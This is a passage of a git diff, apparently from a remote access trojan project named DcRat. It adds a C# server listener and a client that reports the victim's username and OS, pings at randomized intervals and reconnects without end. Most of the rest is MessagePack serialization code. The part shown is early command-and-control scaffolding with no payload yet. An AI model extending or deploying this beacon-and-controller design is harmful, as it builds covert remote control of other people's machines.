ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

233
Client/Program.cs Normal file
View File

@ -0,0 +1,233 @@
using Client.MessagePack;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices;
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace Client
{
class Settings
{
public static readonly string IP = "127.0.0.1";
public static readonly int Port = 8848;
public static readonly string Version = "0.0.1";
}
class Program
{
public static Socket Client { get; set; }
private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; }
private static bool BufferRecevied { get; set; }
private static System.Threading.Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
private static object SendSync { get; set; }
static void Main(string[] args)
{
InitializeClient();
while (true)
{
Thread.Sleep(1000);
}
}
public static void InitializeClient()
{
try
{
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
ReceiveTimeout = -1,
SendTimeout = -1,
};
Client.Connect(Settings.IP, Settings.Port);
Debug.WriteLine("Connected!");
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
MS = new MemoryStream();
SendSync = new object();
BeginSend(SendInfo());
TimerCallback T = Ping;
Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
}
catch
{
Debug.WriteLine("Disconnected!");
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
Reconnect();
}
}
public static void Reconnect()
{
if (Client.Connected) return;
Tick?.Dispose();
try
{
if (Client != null)
{
Client.Close();
Client.Dispose();
}
}
catch { }
MS?.Dispose();
InitializeClient();
}
public static byte[] SendInfo()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString();
return msgpack.Encode2Bytes();
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (Client.Connected == false)
{
Reconnect();
return;
}
int Recevied = Client.EndReceive(ar);
if (Recevied > 0)
{
if (BufferRecevied == false)
{
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize - 1];
BufferRecevied = true;
}
}
else
{
MS.Write(Buffer, 0, Buffer.Length);
}
}
else
{
MS.Write(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
ThreadPool.QueueUserWorkItem(Read, MS.ToArray());
MS.Dispose();
MS = new MemoryStream();
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
}
else
{
Buffer = new byte[Buffersize - MS.Length];
}
}
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
}
else
{
Reconnect();
}
}
catch
{
Reconnect();
}
}
public static void Read(object Data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "Ping":
{
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
}
}
catch { }
}
public static void Ping(object obj)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
BeginSend(msgpack.Encode2Bytes());
}
catch { }
}
public static void BeginSend(byte[] Msgs)
{
lock (SendSync)
{
if (Client.Connected)
{
try
{
using (MemoryStream MS = new MemoryStream())
{
byte[] buffer = Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
MS.Write(buffersize, 0, buffersize.Length);
MS.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
}
}
catch
{
Reconnect();
}
}
}
}
public static void EndSend(IAsyncResult ar)
{
try
{
Client.EndSend(ar);
}
catch
{
Reconnect();
}
}
}
}

View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Client")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// 将 ComVisible 设置为 false 会使此程序集中的类型
//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("3b85814f-a51d-4572-9325-947c9e8d217b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
//通过使用 "*",如下所示:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

70
Client/Properties/Resources.Designer.cs generated Normal file
View File

@ -0,0 +1,70 @@
//------------------------------------------------------------------------------
// <auto-generated>
// 此代码由工具生成。
// 运行时版本: 4.0.30319.42000
//
// 对此文件的更改可能导致不正确的行为,如果
// 重新生成代码,则所做更改将丢失。
// </auto-generated>
//------------------------------------------------------------------------------
namespace Client.Properties
{
/// <summary>
/// 强类型资源类,用于查找本地化字符串等。
/// </summary>
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources
{
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources()
{
}
/// <summary>
/// 返回此类使用的缓存 ResourceManager 实例。
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager
{
get
{
if ((resourceMan == null))
{
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Client.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// 重写当前线程的 CurrentUICulture 属性,对
/// 使用此强类型资源类的所有资源查找执行重写。
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture
{
get
{
return resourceCulture;
}
set
{
resourceCulture = value;
}
}
}
}

View File

@ -0,0 +1,117 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

29
Client/Properties/Settings.Designer.cs generated Normal file
View File

@ -0,0 +1,29 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Client.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}

View File

@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>

View File

@ -5,6 +5,10 @@ VisualStudioVersion = 16.0.31729.503
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DcRat", "DcRat\DcRat.csproj", "{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{9FF6AFB6-04E6-475F-BF95-5D67A2C89106}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{3B85814F-A51D-4572-9325-947C9E8D217B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@ -15,6 +19,14 @@ Global
{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4E6526EE-E709-4C45-ADBF-7838E8D71A9B}.Release|Any CPU.Build.0 = Release|Any CPU
{9FF6AFB6-04E6-475F-BF95-5D67A2C89106}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9FF6AFB6-04E6-475F-BF95-5D67A2C89106}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9FF6AFB6-04E6-475F-BF95-5D67A2C89106}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9FF6AFB6-04E6-475F-BF95-5D67A2C89106}.Release|Any CPU.Build.0 = Release|Any CPU
{3B85814F-A51D-4572-9325-947C9E8D217B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3B85814F-A51D-4572-9325-947C9E8D217B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3B85814F-A51D-4572-9325-947C9E8D217B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3B85814F-A51D-4572-9325-947C9E8D217B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

149
Server/Clients.cs Normal file
View File

@ -0,0 +1,149 @@
using Microsoft.VisualBasic;
using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
namespace Server
{
class Clients
{
public Socket Client { get; set; }
private byte[] Buffer { get; set; }
private long Buffersize { get; set; }
private bool BufferRecevied { get; set; }
private MemoryStream MS { get; set; }
private event ReadEventHandler Read;
private delegate void ReadEventHandler(Clients client, byte[] data);
private object SendSync { get; set; }
public Clients(Socket CLIENT)
{
Client = CLIENT;
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
MS = new MemoryStream();
Read += HandlePacket.Read;
SendSync = new object();
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
public async void ReadClientData(IAsyncResult ar)
{
try
{
if (!Client.Connected)
{
Disconnected();
}
else
{
int Recevied = Client.EndReceive(ar);
if (Recevied > 0)
{
if (BufferRecevied == false)
{
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize - 1];
BufferRecevied = true;
}
}
else
{
await MS.WriteAsync(Buffer, 0, Buffer.Length);
}
}
else
{
await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
Task task = Task.Run(() => Read.Invoke(this, MS.ToArray()));
task.Wait();
Settings.Received += MS.ToArray().Length;
Buffer = new byte[1];
Buffersize = 0;
MS.Dispose();
MS = new MemoryStream();
BufferRecevied = false;
}
else
{
Buffer = new byte[Buffersize - MS.Length];
}
}
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
else
{
Disconnected();
}
}
}
catch
{
Disconnected();
}
}
public void Disconnected()
{
Settings.Online.Remove(this);
try
{
MS?.Dispose();
Client?.Close();
Client?.Dispose();
}
catch { }
}
public void BeginSend(object Msgs)
{
lock (SendSync)
{
if (Client.Connected)
{
try
{
using (MemoryStream MS = new MemoryStream())
{
byte[] buffer = (byte[])Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
MS.WriteAsync(buffersize, 0, buffersize.Length);
MS.WriteAsync(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MS.Length;
}
}
catch
{
Disconnected();
}
}
}
}
public void EndSend(IAsyncResult ar)
{
try
{
Client.EndSend(ar);
}
catch
{
Disconnected();
}
}
}
}

60
Server/HandlePacket.cs Normal file
View File

@ -0,0 +1,60 @@
using System;
using System.Diagnostics;
using System.Linq;
using System.Threading;
using Server.MessagePack;
namespace Server
{
class HandlePacket
{
public static void Read(Clients Client, byte[] Data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
{
Console.WriteLine(unpack_msgpack.ForcePathObject("User").AsString);
Console.WriteLine(unpack_msgpack.ForcePathObject("OS").AsString);
Settings.Online.Add(Client);
}
break;
case "Controler":
{
//Check();
Console.WriteLine("Controler Connected");
Settings.Controler.Add(Client);
}
break;
case "Ping":
{
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
default:
{
foreach (Clients CL in Settings.Controler.ToList())
{
//if (Client.ID == unpack_msgpack.ForcePathObject("ID").AsString)
//{
// ThreadPool.QueueUserWorkItem(CL.BeginSend, unpack_msgpack.Encode2Bytes());
//}
}
}
break;
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
}
}

54
Server/Listener.cs Normal file
View File

@ -0,0 +1,54 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace Server
{
class Listener
{
private Socket listener { get; set; }
private static ManualResetEvent allDone = new ManualResetEvent(false);
public void Connect(object port)
{
try
{
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
SendBufferSize = 50 * 1024,
ReceiveBufferSize = 50 * 1024,
ReceiveTimeout = -1,
SendTimeout = -1,
};
listener.Bind(IpEndPoint);
listener.Listen(20);
while (true)
{
allDone.Reset();
listener.BeginAccept(EndAccept, null);
allDone.WaitOne();
}
}
catch (Exception ex)
{
Environment.Exit(0);
}
}
private void EndAccept(IAsyncResult ar)
{
try
{
Clients CL = new Clients(listener.EndAccept(ar));
}
catch { }
finally { allDone.Set(); }
}
}
}

View File

@ -0,0 +1,99 @@
using System;
using System.Text;
namespace Server.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -0,0 +1,917 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
namespace Server.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
